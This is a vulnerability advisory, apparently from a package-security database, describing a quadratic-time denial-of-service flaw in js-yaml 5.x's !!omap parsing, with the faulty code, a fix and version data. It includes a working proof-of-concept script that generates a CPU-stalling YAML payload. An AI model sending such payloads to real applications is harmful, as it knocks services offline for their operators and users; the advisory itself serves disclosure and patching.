js-yaml: Quadratic-complexity (O(n^2)) DoS via !!omap tag in YAML11_SCHEMA
Summary
js-yaml v5.x introduces YAML11_SCHEMA support with the !!omap (ordered map) tag. The omapTag.addItem() function performs a linear O(n) scan for duplicate key detection on every insertion, resulting in O(n^2) total time to parse a document with n omap entries. An attacker can send a small crafted YAML document to trigger a multi-second CPU stall in any application that uses yaml.load() with { schema: yaml.YAML11_SCHEMA }.
Details
In src/tag/sequence/omap.ts (compiled: dist/js-yaml.cjs.js:510-525):
var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', {
create: () => [],
addItem: (container, item) => {
// ...
for (const existing of container) // O(n) per insertion!
if (hasOwnProperty(existing, itemKeys[0]))
return 'cannot resolve an ordered map item';
container.push(object); // n insertions → O(n^2) total
return '';
}
});For a document with n unique entries, insertion i scans i−1 existing entries, yielding 1+2+…+n = O(n²) total work.
PoC (runtime-confirmed on v5.2.0)
const yaml = require('js-yaml');
function buildOmapPayload(n) {
let p = '!!omap\n';
for (let i = 0; i < n; i++) p += '- key' + i + ': val' + i + '\n';
return p;
}
// Timing results on v5.2.0:
// n=1000: 9ms
// n=5000: 73ms (5x n → 8x time)
// n=10000: 255ms (2x n → 3.5x time — supralinear)
// n=20000: 997ms (2x n → 3.9x time — O(n²) confirmed)
// n=50000: 10613ms ← blocks event loop for >10 seconds
yaml.load(buildOmapPayload(50000), { schema: yaml.YAML11_SCHEMA });Impact
Any application that parses untrusted YAML using yaml.load(input, { schema: yaml.YAML11_SCHEMA }) is vulnerable to Denial of Service. A ~2 MB payload of 50,000 entries blocks the Node.js event loop for 10+ seconds. Smaller payloads (5,000 entries, ~100 KB) already cause noticeable slowdowns (73 ms per parse, amplified under concurrent load).
This affects the newly released 5.x series (first published 2026-06-20) which adds YAML 1.1/1.2 schema support including !!omap. The 4.x series is unaffected (no YAML11_SCHEMA export).
Fix
Replace the O(n) linear scan in addItem with an O(1) Set-based lookup:
var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', {
create: () => ({ list: [], seen: new Set() }),
addItem: (state, item) => {
const key = Object.keys(item)[0];
if (state.seen.has(key)) return 'duplicate omap key';
state.seen.add(key);
state.list.push(item);
return '';
},
resolve: (state) => state.list
});Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | js-yaml | >= 5.0.0, < 5.2.1 | 5.2.1 |
Referencias
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L- Debilidad (CWE)
CWE-407, CWE-770- Plataforma
- npm
- Paquete
js-yaml- Publicada
- 20.07.2026
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-724g-mxrg-4qvm - CC BY 4.0
Historial de vulnerabilidades: js-yaml
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
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- 12
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- 10.2017 09.2026
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- 2026: 8
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